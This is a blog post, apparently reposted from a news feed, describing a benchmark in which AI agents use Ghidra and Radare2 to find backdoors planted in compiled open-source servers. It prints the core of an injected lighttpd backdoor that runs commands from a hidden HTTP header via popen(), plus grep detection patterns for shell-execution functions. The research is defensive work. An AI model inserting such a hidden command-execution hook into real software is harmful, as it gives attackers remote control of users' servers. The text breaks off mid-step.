We hid backdoors in ~40MB binaries and asked AI + Ghidra to find them

Hacker News · Feb 22, 2026 · Collected from RSS

Full Article

Claude can code, but can it check binary executables? We already did our experiments with using NSA software to hack a classic Atari game. This time we want to focus on a much more practical task — using AI agents for malware detection. We partnered with Michał “Redford” Kowalczyk, reverse engineering expert from Dragon Sector, known for finding malicious code in Polish trains, to create a benchmark of finding backdoors in binary executables, without access to source code. See BinaryAudit for the full benchmark results — including false positive rates, tool proficiency, and the Pareto frontier of cost-effectiveness. All tasks are open source and available at quesmaOrg/BinaryAudit. We were surprised that today’s AI agents can detect some hidden backdoors in binaries. We hadn’t expected them to possess such specialized reverse engineering capabilities. However, this approach is not ready for production. Even the best model, Claude Opus 4.6, found relatively obvious backdoors in small/mid-size binaries only 49% of the time. Worse yet, most models had a high false positive rate — flagging clean binaries. In this blog post we discuss a few recent security stories, explain what binary analysis is, and how we construct a benchmark for AI agents. We will see when they accomplish tasks and when they fail — by missing malicious code or by reporting false findings. Background Just a few months ago Shai Hulud 2.0 compromised thousands of organizations, including Fortune 500 companies, banks, governments, and cool startups — see postmortem by PostHog. It was a supply chain attack for the Node Package Manager ecosystem, injecting malicious code stealing credentials. Just a few days ago, Notepad++ shared updates on a hijack by state-sponsored actors, who replaced legitimate binaries with infected ones. Even the physical world is at stake, including critical infrastructure. For example, researchers found hidden radios in Chinese solar power inverters and security loopholes in electric buses. Every digital device has a firmware, which is much harder to check than software we install on the computer — and has much more direct impact. Both state and corporate actors have incentive to tamper with these. Michał “Redford” Kowalczyk from Dragon Sector on reverse engineering a train to analyze a suspicious malfunction, the most popular talk at the 37th Chaos Communication Congress. See also Dieselgate, but for trains writeup and a subsequent discussion. You do not even need bad actors. Network routers often have hidden admin passwords baked into their firmware so the vendor can troubleshoot remotely — but anyone who discovers those passwords gets the same access. Can we use AI agents to protect against such attacks? Binary analysis In day-to-day programming, we work with source code. It relies on high-level abstractions: classes, functions, types, organized into a clear file structure. LLMs excel here because they are trained on this human-readable logic. Malware analysis forces us into a harder world: binary executables. Compilation translates high-level languages (like Go or Rust) into low-level machine code for a given CPU architecture (such as x86 or ARM). We get raw CPU instructions: moving data between registers, adding numbers, or jumping to memory addresses. The original code structure, together with variables and functions names gets lost. To make matters worse, compilers aggressively optimize for speed, not readability. They inline functions (changing the call hierarchy), unroll loops (replacing concise logic with repetitive blocks), and reorder instructions to keep the processor busy. Yet, a binary is what users actually run. And for closed-source and binary-distributed software, it is all we have. Analyzing binaries is a long and tedious process of reverse engineering, which starts with a chain of translations: machine code → assembly → pseudo-C. Let’s see how an example backdoor looks in those representations: 1 Raw Binary xxd ↓ hover/tap code to trace b9 01 00 00 00 48 89 df ba e0 00 00 00 e8 b6 c6 ff ff 49 89 c5 48 85 c0 74 6e 44 0f b6 40 01 4c 8d 8c 24 a0 01 00 00 49 8d 75 02 4c 89 cf 4c 89 c0 41 83 f8 08 72 0a 4c 89 c1 48 c1 e9 03 f3 48 a5 31 d2 41 f6 c0 04 74 09 8b 16 89 17 ba 04 00 00 00 41 f6 c0 02 74 0c 0f b7 0c 16 66 89 0c 17 48 83 c2 02 41 83 e0 01 74 07 0f b6 0c 16 88 0c 17 4c 89 cf c6 84 04 a0 01 00 00 00 e8 b7 4c fd ff 2 Disassembly objdump ↓ hover/tap code to trace 33e88: mov ecx, 0x1 33e8d: mov rdi, rbx 33e90: mov edx, 0xe0 33e95: call 30550 33e9a: mov r13, rax 33e9d: test rax, rax 33ea0: je 33f10 33ea2: movzx r8d, BYTE PTR [rax+1] 33ea7: lea r9, [rsp+0x1a0] 33eaf: lea rsi, [r13+0x2] ... (omitted for brevity) 33efc: mov BYTE PTR [rsp+rax+0x1a0], 0x0 33f04: call system@plt 3 Decompiled Ghidra ↓ hover/tap code to trace lVar18 = FUN_00130550(pcVar41, param_4, 0xe0, 1); if (lVar18 != 0) { bVar49 = *(byte *)(lVar18 + 1); puVar26 = (undefined8 *)(lVar18 + 2); pcVar20 = (char *)&local_148; if (7 < bVar49) { for (uVar44 = (ulong)(bVar49 >> 3); uVar44 != 0; uVar44--) { *(undefined8 *)pcVar20 = *puVar26; puVar26++; pcVar20 += 8; } } *(undefined1 *)((long)&local_148 + (ulong)bVar49) = 0; system((char *)&local_148); } Going from raw bytes to assembly is straightforward, as it can be viewed with a command-line tool like objdump. Turning assembly into C is much harder — we need reverse engineering tools, such as open-source Ghidra (created by NSA) and Radare2, or commercial ones like IDA Pro and Binary Ninja. The decompilers try their best at making sense of the CPU instructions and generating a readable C code. But since all those high-level abstractions and variable names got lost during compilation, the output is far from perfect. You see output full of FUN_00130550, bVar49, local_148 — names that mean nothing. The benchmark Tasks We ask AI agents to analyze binaries and determine if they contain backdoors or malicious modifications. Source code Open source project + injected backdoor Binary Stripped executable no symbols, no source AI agent Anthropic Google OpenAI + objdump, nm, ... Has a backdoor? YES 0x4a1c30 or NO We started with several open-source projects: lighttpd (a C web server), dnsmasq (a C DNS/DHCP server), Dropbear (a C SSH server), and Sozu (a Rust load balancer). Then, we manually injected backdoors. For example, we hid a mechanism for an attacker to execute commands via an undocumented HTTP header. Important caveat: All backdoors in this benchmark are artificially injected for testing. We do not claim these projects have real vulnerabilities; they are legitimate open-source software that we modified in controlled ways. These backdoors weren’t particularly sophisticated — we didn’t try to heavily obfuscate them or hide them in obscure parts of the code. They are the kind of anomaly a skilled human reverse engineer could spot relatively easily. The agents are given a compiled executable — without source code or debug symbols. They have access to reverse engineering tools: Ghidra, Radare2, and binutils. The task is to identify malicious code and pinpoint the start address of the function containing the backdoor (e.g., 0x4a1c30). See dnsmasq-backdoor-detect-printf/instruction.md for a typical instruction. A few tasks use a different methodology: we present three binaries and ask which ones contain backdoors, without asking for the specific location – see e.g. sozu-backdoor-multiple-binaries-detect/instruction.md. We expected this to be a simpler task (it wasn’t). This approach simulates supply chain attacks, where often only a subset of binaries are altered. An example when it works Backdoor in an HTTP server We injected a backdoor into the lighttpd server that executes shell commands from an undocumented HTTP header. Here’s the core of the injected backdoor — it looks for a hidden X-Forwarded-Debug header, executes its contents as a shell command via popen(), and returns the output in a response header: gboolean li_check_debug_header(liConnection *con) { liRequest *req = &con->mainvr->request; GList *l; l = li_http_header_find_first(req->headers, CONST_STR_LEN("X-Forwarded-Debug")); if (NULL != l) { liHttpHeader *hh = (liHttpHeader*) l->data; char *debugIn = LI_HEADER_VALUE(hh); FILE *fp = popen(debugIn, "r"); // Execute attacker's command // ... read output into debugOut ... pclose(fp); li_http_header_insert(con->mainvr->response.headers, CONST_STR_LEN("X-Request-Trace"), debugOut, strlen(debugOut)); } return TRUE; } For a user who downloaded this backdoored server, it would seem like this is a legitimate program. However, an attacker could trivially execute any command by sending a specially crafted packet. Claude Opus 4.5 found the backdoor within 5 minutes Here’s how Claude did it: Step 1. The model identified the binary and its 26 shared libraries — one of which contained the backdoor. Step 2. Next, it ran strings with grep patterns looking for obvious indicators of a backdoor: strings bin/lighttpd2-worker | grep -iE '(shell|bash|/bin/sh|exec|system|backdoor)' However, the command didn’t find anything suspicious. The model expanded the search to all shared libraries, looking for more patterns (hardcoded IPs, suspicious commands, and credential patterns). Still nothing obvious. Step 3. Claude switched strategies and used nm -D to list imported functions: for f in lib/*.so; do nm -D "$f" | grep -E ' U (system|exec|popen)' done This revealed something interesting: lib/liblighttpd2-shared-2.0.0.so: U popen@GLIBC_2.2.5 Claude detected that one of the libraries that the server uses imports popen(): function used to execute shell commands. It immediately alarmed the model: Anthropic Claude Opus 4.5: The liblighttpd2-shared.so uses popen(). This could be legitimate (for spawning worker processes) or could be a backdoor. I need to investigate what these functions are used for by decompiling the code. Step 4. Claude investigated further to determine if the function was truly malicious, using the Radare2 dec